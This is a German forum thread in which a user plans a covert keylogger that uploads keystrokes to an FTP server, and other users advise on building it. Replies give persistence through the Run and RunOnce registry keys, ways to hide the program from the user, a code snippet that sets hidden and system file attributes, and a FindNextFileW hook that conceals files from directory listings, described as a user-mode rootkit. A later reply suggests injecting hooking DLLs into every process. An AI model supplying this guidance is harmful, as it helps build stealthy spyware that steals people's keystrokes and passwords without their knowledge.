Keylogger self made

Hallo,

was das Programmieren an sich angeht hab ich wohl schon etwas erfahrung... aber im speziellen das Programmieren von solchen "nicht so legalen" programmen, da hab ich nicht so die ahnung.

Aber um abhilfe zu schffen will ich mal nen kleinen Keylogger schreiben der alle x sec alle abgefangenen Tastaturabfragen auf einen ftp server schreibt.

deshalb hab ich mir mal ne kleine liste gemacht von sachen die ich so brauche:
-muss überall laufe... also keine fehler wenn bsp. .net framework nicht installiert ist --ich denke mit dem normalen c++ compiler kein problem(Code::Blocks?)
-muss beim Systemstart mit starten --irgendwie in die regestrie schreiben?
-muss unsichtbar sein --normales consolenprogramm unsichtbar machen?
-muss sicher plazirt sein, damit man ihn nicht einfach löschen kann --keine ahnung^^
-muss alle tastaturabfragen buffern bis sie auf dem ftp server gespeichert werden --ist machbaar
-muss eine verbindung zu einem ftp server aufbauen und halten --kan man das mit den normalem c++ bibliotheken die jeder hat?
-muss die abgefangenden tastaturanschläge alle x sec auf den ftp server laden --wie punkt dadrüber
lieg ich so weit richtig oder hab ich irgendwas falsch überlegt?



soweit zum theoretischen teil... jetzt fehlt nur noch code^^.
Was ich jetzt suche ist nicht ein fertig compilierters programm sondern code beispiele mit denen ich die einzelnen punkte füllen kann.
kann mir da jemand helfen?

#Systemstart kannste per Registry eintrag machen z.B.: HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run

Und auch HKLM (HKEY_LOCAL_MACHINE)

Zitat:

---

Zitat von zerod

denke mit dem normalen c++ compiler kein problem(Code::Blocks?)

---

Wenn du den Keylogger auf der Win32 API aufsetzt, kannst du den auch unter den gängigen Windows Distributionen benutzen. Wo kein .NET Framework ist wird auch keins verlangt. Ob du da jetzt Code::Blocks, wxdev-c++ oder Visual Express nimmst, spielt eigentlich keine Rolle.

Zitat:

---

Zitat von zerod

soweit zum theoretischen teil... jetzt fehlt nur noch code^^.

---

Ich würde mich erstmal mit den einzelnen Komponenten befassen, bevor du anfängst den kompletten Aufbau zu planen.
Die Basis eines Keyloggers ist ein Keyboard Hook.
Dazu solltest du dich erstmal informieren was das überhaupt ist ( Hook (EDV) – Wikipedia) , danach kannst du Code Beispiele eines Keyboard Hooks (zb. unter dem Keyword c++ Keyboard Hook) im Google finden.

Das ist erst mal genug Materie für den Anfang. So arbeitest du dich Schritt für Schritt in deine Punkte ein.

Zitat:

---

Zitat von K-Gee

#Systemstart kannste per Registry eintrag machen z.B.: HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run

Und auch HKLM (HKEY_LOCAL_MACHINE)

---

brauch beei win 7 adminrechte wenn ich mich nicht irre... besser RunOnce nehmen

Unsichtbar würde das Programm werden, wenn du gar keine Console erstellst, ergo mit int APIENTRY WinMain [...] arbeiten.
Sicher Plaziert wäre das Programm in einem Abgelegenen Ordner des Windowsverzeichnisses - Nachteil: Aminrechte benötigt. Du könntest das Programm aber auch irgendwo auf der Platte droppen und per Hook "verschwinden" lassen - ist aber wahrscheinlich zu kompliziert. Dritte Möglichkeit wäre die Datei einfach irgendwo unter einem Unscheinbaren Namen abzulegen (Ordner eines Spiels?).
Zum Ftp Upload, ich würde dir empfehlen, eine Logdatei zu erstellen und die nicht alle paar Sekunden, sondern nach einer gewissen Anzahl Tastenschläge o.ä. hochzuladen um Traffic zu sparen.

Zitat:

---

"..normalen c++ compiler kein problem(Code::Blocks?)"

---

codeblocks++ main.c -o foo.exe ?

Zitat:

---

regestrie

---

Gibt nur Registry..

Zitat:

---

normales consolenprogramm unsichtbar machen

---

Würde dir eher dann zur Formanwendung raten anhand der WinAPIs
WinMain und ApiEntry.

Zitat:

---

muss sicher plazirt sein

---

Sofern du plazieren meinst, reicht für dein Bedarf der APPDATA-Ordner aus,
siehe MSDN.

Zitat:

---

kan man das mit den normalem c++ bibliotheken die jeder hat?kan man das mit den normalem c++ bibliotheken die jeder hat?

---

Ja, siehe Socketprogrammierung.

PS: Bitte achte auf dein Deutsch

codeblocks ist bester COMPILER

Code:Blocks ist garkein compiler,
C:B ist eine IDE welche oft mit der gnu compiler collection (gcc) benutzt wird,
man kann sich den compiler aber selbst aussuchen

Bezüglich Platzierung: Erstelle einfach einen unsichtbaren Order unter APPDATA. Dort sollte man dann eigendlich nicht drüber stolpern.

Für einen unsichtbaren Ordner musst du per Code ersteinmal einen Ordner erstellen. Dann mit FileInfo (müsste in C++ so ähnlich heißen, sonst DirectoryInfo) das Attribut auf hidden stellen.

Code:

---

#define HIDE_FILE_ATTRIBS FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY
SetFileAttributes(Filename, HIDE_FILE_ATTRIBS);

---

Aber das ist natürlich die allerschlechteste Methode uberhaupt.
Besser wäre ein Rootkit. Zb für XP kriegt man eins in 11 zeilen hin. (Ok nicht wirklich. Bzw das rootkit (ring-3) schon aber das hooken sind nen paar zeilen mehr))

Code:

---

BOOL WINAPI Hooked_FindNextFileW(HANDLE hFindFile, LPWIN32_FIND_DATA lpFindFileData)
{
    BOOL bReturn = Original_FindNextFileW(hFindFile, lpFindFileData);
    if(wcsstr(lpFindFileData->cFileName, TEXT("not.exe")) || wcsstr(lpFindFileData->cFileName, TEXT("config.bin")))
    {
        DebugA(TEXT("%USERPROFILE%\\Desktop\\RootkitDebug.log"), "[Hooked_FindNextFileW]File search blocked", (char*)lpFindFileData->cFileName, LSTRLEN(lpFindFileData->cFileName));
        bReturn = Hooked_FindNextFileW(hFindFile, lpFindFileData);
    }
    else
        DebugA(TEXT("%USERPROFILE%\\Desktop\\RootkitDebug.log"), "[Hooked_FindNextFileW]File search pass", (char*)lpFindFileData->cFileName, LSTRLEN(lpFindFileData->cFileName));
    return bReturn;
}

---

Zitat:

---

Zitat von wacked

[code]
Zb für XP kriegt man eins in 11 zeilen hin. (Ok nicht wirklich. Bzw das rootkit (ring-3) schon aber das hooken sind nen paar zeilen mehr))

---

Was für ein ausgemachter Schwachsinn. Nur weil du ein FindNextFile-Callback in 11 Zeilen hast (was natürlich noch lange keinen Schutz bietet) bedeutet das nicht, ist das noch lange, lange, lange kein rootkit. (abgesehen davon ist die Funktion auch schwachsinnig, da du im Falle eines Treffers in einer Endlosschleife endest bis der Stack überläuft.).

Zitat:

---

Zitat von Dj Hackmaster A

was natürlich noch lange keinen Schutz bietet

---

Auf XP Rechnern ist die Datei versteckt.(Außerdem wieso schutz?)

Zitat:

---

Zitat von Dj Hackmaster A

abgesehen davon ist die Funktion auch schwachsinnig, da du im Falle eines Treffers in einer Endlosschleife endest bis der Stack überläuft.).

---

Nein. FindNextFile() hangelt sich an einer LinkedList entlang ( NtQueryDirectoryFile() gibt diese liste an FindNextFile() (vereinfacht)).
Beim jedem aufruf von

Code:

---

Original_FindNextFileW(hFindFile, lpFindFileData);

---

wird der nächste eintraf in lpFindFileData kopiert.
Also:
LinkedListe von NtQue..() (verinfacht):
dir1\x00bot.exe\x00file1.txt

1 Aufruf (von explorer.exe) von Hooked_FindNextFileW:
lpFindFileData = "dir1".
Wird zurückgegeben.

2 Aufruf (von explorer.exe) ...:
lpFindFileData = "bot.exe"
Wird nicht zurückgegben sondern:

3 Aufruf (von bot.exe (injected in explorer,exe)) von Hooked_FindNextFileW:
lpFindFileData = "file1.txt"
Wird normal zurückgegeben.

In Anbetracht dessen dass Vista/Win7 als 64bit Version ziemlich gut gegen unlizensierte Kernelmodule, also auch gegen Rootkits, geschützt sind würde ich eher etwas im Usermodebereich basteln.

Einfach in jeden Prozess eine DLL mit entsprechenden File/Registry und Prozess APIhooks injecten und gut ist (Du brauchst dann im Idealfall allerdings einen 64bit Loader, der hingegen aber auch 32bit DLLs in Wow64 Prozesse injecten kann).

Mfg,
Ethon